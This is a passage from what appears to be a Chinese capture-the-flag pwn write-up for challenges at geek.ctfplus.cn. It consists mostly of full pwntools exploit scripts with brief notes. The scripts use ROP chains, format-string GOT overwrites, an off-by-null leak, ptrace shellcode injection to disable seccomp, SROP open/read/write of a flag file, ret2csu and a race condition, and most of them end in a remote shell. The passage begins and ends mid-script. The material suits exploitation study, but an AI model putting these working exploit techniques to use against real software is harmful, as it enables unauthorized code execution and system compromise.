sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;) # show_time
sa(b&apos;):\n&apos;, p64(task_list) + p64(pie + elf.sym[&apos;dance&apos;] + 20) + p8(0))

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;) # show_time
sa(b&apos;):\n&apos;, p64(pie + elf.sym[&apos;unreachable&apos;] + 4) + b&apos;sh\n&apos;)

sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;1&apos;)
sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;) # show_time
sa(b&apos;):\n&apos;, p64(task_list + 0x60) + p64(pie + elf.sym[&apos;execute_task&apos;] + 137) + b&apos;\n&apos;)


sla(b&apos;choice&amp;gt;&amp;gt; &apos;, b&apos;2&apos;)

# debug()
sa(b&apos;feedback:\n&apos;, b&apos;A&apos;*0x10 + p64(task_list + 0x90))

sa(b&apos;about.\n&apos;, p64(task_list) + p64(pie + elf.sym[&apos;unreachable&apos;] + 4))

s(b&apos;A&apos;*0x10 + p64(task_list))


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;last_rop&lt;/h1&gt;
&lt;p&gt;按%d读入，又按%x放入，于是rop链中的地址只能包含0~9&lt;/p&gt;
&lt;p&gt;这里找到了mov rax, r12，而r12指向的内容可以控制&lt;/p&gt;
&lt;p&gt;注意：不能继续往下输入(r13)使得环境变量被覆盖，否则system(&quot;sh&quot;)无法正常运行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   31347
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

# debug(&apos;b *0x401A26\nc\n&apos;)
# debug(&apos;b *0x401914\nc\n&apos;)

sla(b&apos;rop! &apos;, b&apos;1&apos;)
sla(b&apos;rop! &apos;, b&apos;2&apos;)
sla(b&apos;rop! &apos;, b&apos;3&apos;)
sla(b&apos;rop! &apos;, str(400000001).encode()) # i
sla(b&apos;rop! &apos;, str(416087).encode()) # 0x416087 : mov rax, r12 ; pop r12 ; pop r13 ; pop rbp ; ret
sla(b&apos;rop! &apos;, b&apos;1&apos;)
sla(b&apos;rop! &apos;, b&apos;2&apos;)
sla(b&apos;rop! &apos;, b&apos;3&apos;)
# sla(b&apos;rop! &apos;, str(401965).encode())
sla(b&apos;rop! &apos;, str(401914).encode()) # blah : mov rdi, rax ; call system

for i in range(30): # r12
    sla(b&apos;rop! &apos;, str(6873).encode()) # sh
    # sla(b&apos;rop! &apos;, str(3024).encode()) # $0 也可以

# debug(&apos;b *0x4019c0\nc\n&apos;)
sla(b&apos;rop! &apos;, b&apos;0&apos;)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Sink&lt;/h1&gt;
&lt;p&gt;alloca会在栈上分配空间，但不会清空，以此泄露libc_base和Canary&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   32363
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

debug(&apos;b struggle\nc\n&apos;)

for i in range(6):
    sla(b&apos;Your choice: \n&apos;, b&apos;4&apos;)
    sla(b&apos;going?\n&apos;, str(0x101).encode())

sla(b&apos;Your choice: \n&apos;, b&apos;4&apos;)
sla(b&apos;going?\n&apos;, str(0x40-23).encode())
ru(b&apos;I need you.\n&apos;)
libc_base = uu64(r(8)) - (libc.sym[&apos;puts&apos;] + 506)
leak(&apos;libc_base&apos;)

sla(b&apos;Your choice: \n&apos;, b&apos;4&apos;)
sla(b&apos;going?\n&apos;, str(0x130-23).encode())
ru(b&apos;I need you.\n&apos;)
canary = uu64(r(8))
leak(&apos;canary&apos;)

sla(b&apos;Your choice: \n&apos;, b&apos;1&apos;)
payload = b&apos;A&apos;*(0x20-8) + p64(canary) + p64(0) + p64(libc_os(0xe5ff0))
sa(b&apos;love me?\n&apos;, payload)


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Anabiosis&lt;/h1&gt;
&lt;p&gt;用链表结构保存数据&lt;/p&gt;
&lt;p&gt;用off by null进入管理员模式&lt;/p&gt;
&lt;p&gt;泄露链表指针得知pie，然后ret2libc&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   30411
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

sa(b&apos;Your choice:\n&apos;, b&apos;1&apos;)
ru(b&apos;uid is:&apos;)
uid = int(p.recvline(keepends=False).decode())
sa(b&apos;name: &apos;, b&apos;mxym&apos;)
sa(b&apos;data: &apos;, b&apos;A&apos;)

sa(b&apos;Your choice:\n&apos;, b&apos;3&apos;)
sa(b&apos;uid to edit: &apos;, str(uid).encode())
sa(b&apos;name: &apos;, b&apos;A&apos;*16)
sa(b&apos;data: &apos;, b&apos;A&apos;)

sa(b&apos;Your choice:\n&apos;, b&apos;1&apos;)
sa(b&apos;name: &apos;, b&apos;ItsFlicker&apos;)
sa(b&apos;data: &apos;, b&apos;/bin/sh\x00&apos;)

sa(b&apos;Your choice:\n&apos;, b&apos;0&apos;)
sla(b&apos;uid: &apos;, str(uid).encode())

sa(b&apos;Your choice:\n&apos;, b&apos;6&apos;)
sa(b&apos;Your choice:\n&apos;, b&apos;2&apos;)
sla(b&apos;index to edit: &apos;, b&apos;1&apos;)
sa(b&apos;data: &apos;, b&apos;A&apos;*0x80)

sa(b&apos;Your choice:\n&apos;, b&apos;3&apos;)
sa(b&apos;Your choice:\n&apos;, b&apos;4&apos;)
sa(b&apos;uid to show: &apos;, str(uid).encode())

ru(b&apos;A&apos;*0x80)
pie = uu64(r(6)) - (elf.sym[&apos;node_pool&apos;] + 168)
leak(&apos;pie&apos;)

sa(b&apos;Your choice:\n&apos;, b&apos;0&apos;)
sla(b&apos;uid: &apos;, str(uid).encode())

sa(b&apos;Your choice:\n&apos;, b&apos;6&apos;)
sa(b&apos;Your choice:\n&apos;, b&apos;4&apos;)
debug()
payload = b&apos;A&apos;*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.got[&apos;puts&apos;]) + p64(pie + elf.plt[&apos;puts&apos;]) + p64(pie + 0x001CD9)
sa(b&apos;I love you.\n&apos;, payload)

libc_base = uu64(r(6)) - (libc.sym[&apos;puts&apos;])
leak(&apos;libc_base&apos;)

payload = b&apos;A&apos;*(0x10+8) + p64(pie + 0x001cf4) + p64(pie + elf.sym[&apos;node_pool&apos;] + 376) + p64(libc_os(libc.sym[&apos;system&apos;]))
sa(b&apos;I love you.\n&apos;, payload)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Memory Cloister&lt;/h1&gt;
&lt;p&gt;改got_exit，然后把got_rand改为one_gadget，返回地址改为sharp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1
if choice:
    port =   30253
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

# debug(&apos;b *0x401321\nc\n&apos;)

sa(b&apos;Exit.\n&apos;, b&apos;2&apos;)
sla(b&apos;voice.\n&apos;, b&apos;A&apos;*0x100 + b&apos;%87c%8$hhn%187c%9$hhn%33$p\x00&apos;)

sa(b&apos;Exit.\n&apos;, b&apos;1&apos;)
sa(b&apos;for?\n&apos;, p64(0x404040) + p64(0x404041))

ru(b&apos;\x00&apos;)
libc_base = int(r(14).decode(), 16) - (libc.sym[&apos;__libc_start_main&apos;] + 137)
leak(&apos;libc_base&apos;)

one_gadget = libc_os(0xe5ff0) # r9, r10 = 0

for i in range(6):
    sa(b&apos;Exit.\n&apos;, b&apos;2&apos;)
    sla(b&apos;voice.\n&apos;, b&apos;A&apos;*0x100 + f&apos;%{one_gadget % 256}c%8$hhn%12$p\x00&apos;.encode())

    sa(b&apos;Exit.\n&apos;, b&apos;1&apos;)
    sa(b&apos;for?\n&apos;, p64(0x404048 + i))

    one_gadget //= 256

ru(b&apos;0x&apos;)
stack = int(r(12).decode(), 16)
leak(&apos;stack&apos;)

sa(b&apos;Exit.\n&apos;, b&apos;2&apos;)
sla(b&apos;voice.\n&apos;, b&apos;A&apos;*0x100 + b&apos;%182c%8$hhn%91c%9$hhn\x00&apos;)

sa(b&apos;Exit.\n&apos;, b&apos;1&apos;)
sa(b&apos;for?\n&apos;, p64(stack - 0x78) + p64(stack - 0x78 + 1))

sa(b&apos;Exit.\n&apos;, b&apos;3&apos;)

itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ptrce&lt;/h1&gt;
&lt;p&gt;用ptrace把子进程的got_seccomp全部改为空函数&lt;/p&gt;
&lt;p&gt;再把sleep的返回地址改为父进程的功能地址，实现任意shellcode执行&lt;/p&gt;
&lt;p&gt;这里attach后要等待子进程收到信号并暂停，用ai写了个暂停1秒&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)

choice = 2
if choice == 2:
    port =   32704
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
elif choice == 1:
    p = process(file)
else:
    p = gdb.debug(file, &apos;&apos;&apos;
        set follow-fork-mode parent
        b *0x401849
        b *0x401AC2
        c
    &apos;&apos;&apos;)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
leak2    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, eval(name)))

sla(b&apos;4) Exit\n&apos;, b&apos;2&apos;)
ru(b&apos;PID = &apos;)
pid = int(p.recvline(keepends=False))
leak2(&apos;pid&apos;)

shellcode = f&apos;&apos;&apos;

mov rax, 101
mov rdi, 16
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

call sleep_1_second

mov rax, 101
mov rdi, 5
mov rsi, {pid}
lea rdx, [rbp-0x78]
mov r10, 0x4018E1
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404020
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404030
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404040
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 5
mov rsi, {pid}
mov rdx, 0x404068
mov r10, 0x401B88
syscall

mov rax, 101
mov rdi, 7
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

mov rax, 101
mov rdi, 17
mov rsi, {pid}
mov rdx, 0
mov r10, 0
syscall

sleep_1_second:
    push rbp
    mov rbp, rsp
    sub rsp, 32         
    
    mov rax, 96         
    lea rdi, [rsp+16]   
    mov rsi, 0          
    syscall
    
    mov r8, [rsp+16]    
    mov r9, [rsp+24]    
    
sleep_loop:
    mov rax, 96         
    lea rdi, [rsp]      
    mov rsi, 0
    syscall
    
    mov r10, [rsp]      
    mov r11, [rsp+8]    
    
    sub r10, r8         
    imul r10, r10, 1000000  
    sub r11, r9         
    add r10, r11        
    

    cmp r10, 1000000
    jl sleep_loop       
    
    add rsp, 32
    pop rbp
    ret


&apos;&apos;&apos; # 不能出现\x0a

asm1 = asm(shellcode)

assert b&apos;\x0a&apos; not in asm1

sla(b&apos;4) Exit\n&apos;, b&apos;1&apos;)
sla(b&apos;to be?\n&apos;, str(len(asm1) + 1).encode())
sla(b&apos;the memory?\n&apos;, b&apos;7&apos;)
sla(b&apos;to include?\n&apos;, asm1)

ru(b&apos;at &apos;)
addr = int(p.recvline(keepends=False), 16)
leak(&apos;addr&apos;)


sla(b&apos;4) Exit\n&apos;, b&apos;3&apos;)
sla(b&apos;to execute code?\n&apos;, hex(addr)[2:].encode())

asm2 = asm(shellcraft.sh())

sla(b&apos;4) Exit\n&apos;, b&apos;1&apos;)
sla(b&apos;to be?\n&apos;, str(len(asm2) + 1).encode())
sla(b&apos;the memory?\n&apos;, b&apos;7&apos;)
sla(b&apos;to include?\n&apos;, asm2)

ru(b&apos;at &apos;)
addr = int(p.recvline(keepends=False), 16)
leak(&apos;addr&apos;)


sla(b&apos;4) Exit\n&apos;, b&apos;3&apos;)
sla(b&apos;to execute code?\n&apos;, hex(addr)[2:].encode())


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Last Spell&lt;/h1&gt;
&lt;p&gt;栈迁移&lt;/p&gt;
&lt;p&gt;需要在栈上找一个地址，使其覆盖最低位后变为syscall地址，且执行下去能返回&lt;/p&gt;
&lt;p&gt;这里只需[rbp+0x340]位置内容为0&lt;/p&gt;
&lt;p&gt;srop的部分，改地址时要提前在下方写好rbp和返回地址，frame需要分两次读入&lt;/p&gt;
&lt;p&gt;然后orw&lt;/p&gt;
&lt;p&gt;（为什么栈的相对偏移会变？我没搞懂）&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 1

def solve():
    if choice:
        port =   30468
        target = &apos;geek.ctfplus.cn&apos;
        p = remote(target, port)
    else:
        p = process(file, aslr=False)

    def debug(cmd=&apos;&apos;):
        if choice==1:
            return
        gdb.attach(p, gdbscript=cmd)


    s       = lambda data               :p.send(data)
    sl      = lambda data               :p.sendline(data)
    sa      = lambda x,data             :p.sendafter(x, data)
    sla     = lambda x,data             :p.sendlineafter(x, data)
    r       = lambda num=4096           :p.recv(num)
    rl      = lambda num=4096           :p.recvline(num)
    ru      = lambda x                  :p.recvuntil(x)
    itr     = lambda                    :p.interactive()
    uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
    uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
    uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
    leak    = lambda name               :log.success(&apos;{}&apos;.format(name))
    libc_os   = lambda x                :libc_base + x

    ru(b&apos;received : &apos;)
    l = rl().decode().split(&apos;; &apos;)
    stack = int(l[0], 16)
    pie = int(l[1], 16) - 0x004050
    leak(&apos;pie&apos;)
    ru(b&apos;enabled\n&apos;)

    rbp1 = stack + 0x8
    # rbp3 = rbp1 - 0x478
    rbp3 = rbp1 - 0xf68
    rbp2 = rbp3 + 0x88

    leak(&apos;rbp1&apos;)
    leak(&apos;rbp2&apos;)
    leak(&apos;rbp3&apos;)
    log.success(hex(rbp3))

    # debug()
    payload = b&apos;A&apos;*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    payload = b&apos;A&apos;*0x70
    payload += p64(rbp1)
    payload += p64(pie + 0x001584)
    payload += p64(rbp2 - 0x10)
    payload += p64(pie + 0x001584)
    s(payload)

    # s(p64(0) + p8(0x7f))
    s(p64(0) + p8(0x32))

    sleep(2)

    # --------------------------

    payload = b&apos;A&apos;*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 2
    frame.rdi = rbp1 - 0x18
    frame.rsi = 0
    frame.rdx = 0
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug(&apos;b *0x15555552d032&apos;)
    payload = b&apos;A&apos;*0x68
    payload += b&apos;/flag\x00\x00\x00&apos;
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b&apos;\x00&apos;) + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b&apos;A&apos;*15)
    log.success(&apos;open&apos;)
    sleep(5)

    # --------------------------

    payload = b&apos;A&apos;*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 0
    frame.rdi = 1
    frame.rsi = rbp1 + 0x20
    frame.rdx = 0x40
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug(&apos;b *0x15555552d032&apos;)
    payload = b&apos;A&apos;*0x70
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b&apos;\x00&apos;) + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b&apos;A&apos;*15)
    log.success(&apos;read&apos;)
    sleep(5)

    # --------------------------

    payload = b&apos;A&apos;*0x80
    payload += p64(rbp2)
    payload += p64(pie + 0x001584)
    s(payload)

    frame = SigreturnFrame()
    frame.rax = 1
    frame.rdi = 2
    frame.rsi = rbp1 + 0x20
    frame.rdx = 0x40
    frame.r12 = rbp1
    frame.rbp = rbp3 - 8 - 0x340
    frame.rsp = rbp3
    frame.rip = pie + 0x00159C # ret

    s(p64(0)*4 + p64(rbp1) + p64(0)*2 + p64(pie + 0x001584) + bytes(frame)[0x40:0x80] + p64(rbp1) + p64(pie + 0x001584))

    # debug(&apos;b *0x15555552d032&apos;)
    payload = b&apos;A&apos;*0x70
    payload += p64(rbp3 - 0x8)
    payload += p64(pie + 0x00159B)
    payload += p64(rbp2 + 0x80)
    payload += p64(pie + 0x001584)
    s(payload)

    s(bytes(frame)[0x80:].ljust(0x80, b&apos;\x00&apos;) + p64(rbp1 - 0x10) + p64(pie + 0x001584))

    s(b&apos;A&apos;*15)
    log.success(&apos;write&apos;)

    itr()

for i in range(20):
    try:
        solve()
    except:
        pass
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Mission Final Dance&lt;/h1&gt;
&lt;p&gt;本地关闭aslr，方便调试&lt;/p&gt;
&lt;p&gt;首先对0x4006e0断点，看它是怎么被定位的&lt;/p&gt;
&lt;p&gt;如图所示，从elf中读入了fini_array起始位置，并从0x155555427168读入了一个偏移&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./2.png&quot; alt=&quot;image-20251118211500539&quot; /&gt;&lt;/p&gt;
&lt;p&gt;而这个地址刚好残留在栈上，用printf修改偏移，并在buf写入vuln地址&lt;/p&gt;
&lt;p&gt;进入vuln，然后ret2csu&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   31635
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file, aslr=False)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
libc_os   = lambda x                :libc_base + x

ru(b&apos;dance!\n&apos;)

# debug()
debug(&apos;b *0x155555210df9\nc\n&apos;)

payload = f&apos;%{0x601060+0x98-0x600DD8}c%24$hn%7$p&apos;.encode()
s(payload.ljust(0x88, b&apos;\x00&apos;) + p64(0x400854) + b&apos;/bin/sh\x00&apos; + p64(0x400726))

ru(b&apos;0x&apos;)
libc_base = int(r(12).decode(), 16) - (libc.sym[&apos;__libc_start_main&apos;] + 240)
leak(&apos;libc_base&apos;)

payload = b&apos;A&apos;*(0x20+8)
payload += p64(0x40083A)
payload += p64(0)
payload += p64(1)
payload += p64(0x601060+0x88)
payload += p64(0)
payload += p64(0)
payload += p64(0x601060+0x90)
payload += p64(0x400820)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(libc_os(libc.sym[&apos;execve&apos;]))

s(payload)


itr()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Your name&lt;/h1&gt;
&lt;p&gt;条件竞争，thread_arg是全局变量&lt;/p&gt;
&lt;p&gt;如果在一个线程确定要进入op_write_file后，把thread_arg.op.index改为0，就可以对./log修改&lt;/p&gt;
&lt;p&gt;再执行./log&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context.log_level = &apos;debug&apos;

# p = process(&apos;./yourName&apos;)
p = remote(&quot;geek.ctfplus.cn&quot;, 30185)

payload = b&apos;[&apos;

for i in range(10):
    payload += b&apos;{&quot;index&quot;:1, &quot;buf&quot;:&quot;&apos;
    payload += b&apos;#!/bin/sh\n/bin/sh&apos; + b&apos;\n&apos;*5
    payload += b&apos;&quot;},&apos;

for i in range(1):
    payload += b&apos;{&quot;index&quot;:0, &quot;buf&quot;:&quot;&apos;
    payload += b&apos;#!/bin/sh\n/bin/sh&apos; + b&apos;\n&apos;*5
    payload += b&apos;&quot;},&apos;

payload = payload.removesuffix(b&apos;,&apos;)
payload += b&apos;]&apos;

p.recvuntil(b&apos;&amp;gt;&amp;gt;&apos;)

p.send(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;PWN_GAME&lt;/h1&gt;
&lt;p&gt;文件名存在溢出，可以改出生点到边界外&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./3.png&quot; alt=&quot;image-20251118225104681&quot; /&gt;&lt;/p&gt;
&lt;p&gt;把右下角&lt;code&gt;O&lt;/code&gt;推到&lt;code&gt;1&lt;/code&gt;处，再用&lt;code&gt;@&lt;/code&gt;把它推到&lt;code&gt;2&lt;/code&gt;处&lt;/p&gt;
&lt;p&gt;这样，&lt;code&gt;S&lt;/code&gt;就同时具有了is_push和is_you属性&lt;/p&gt;
&lt;p&gt;接着，把两个&lt;code&gt;S&lt;/code&gt;搞到&lt;code&gt;3&lt;/code&gt;和&lt;code&gt;4&lt;/code&gt;的位置，&lt;code&gt;I&lt;/code&gt;就同时具有了is_push和is_you属性&lt;/p&gt;
&lt;p&gt;用一个&lt;code&gt;I&lt;/code&gt;把&lt;code&gt;X&lt;/code&gt;填了，两个&lt;code&gt;I&lt;/code&gt;走到右上角位置&lt;/p&gt;
&lt;p&gt;由于step_game从上到下，从左到右执行&lt;/p&gt;
&lt;p&gt;第一个&lt;code&gt;I&lt;/code&gt;把第二个&lt;code&gt;I&lt;/code&gt;推到第二行第一列&lt;/p&gt;
&lt;p&gt;然后第二个&lt;code&gt;I&lt;/code&gt;自己走一步，成功到&lt;code&gt;6&lt;/code&gt;，win!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *

context(arch=&apos;amd64&apos;, os=&apos;linux&apos;)
# context.log_level = &apos;debug&apos;
context.terminal = [&apos;tmux&apos;, &apos;splitw&apos;, &apos;-h&apos;]
file = &apos;./pwn&apos;
elf = ELF(file)
# libc = ELF(&apos;./libc.so.6&apos;)

choice = 0
if choice:
    port =   31566
    target = &apos;geek.ctfplus.cn&apos;
    p = remote(target, port)
else:
    p = process(file)

def debug(cmd=&apos;&apos;):
    if choice==1:
        return
    gdb.attach(p, gdbscript=cmd)


s       = lambda data               :p.send(data)
sl      = lambda data               :p.sendline(data)
sa      = lambda x,data             :p.sendafter(x, data)
sla     = lambda x,data             :p.sendlineafter(x, data)
r       = lambda num=4096           :p.recv(num)
rl      = lambda num=4096           :p.recvline(num)
ru      = lambda x                  :p.recvuntil(x)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b&apos;\x00&apos;))
uu64    = lambda data               :u64(data.ljust(8,b&apos;\x00&apos;))
uru64   = lambda                    :uu64(ru(&apos;\x7f&apos;)[-6:])
leak    = lambda name               :log.success(&apos;{} = {}&apos;.format(name, hex(eval(name))))
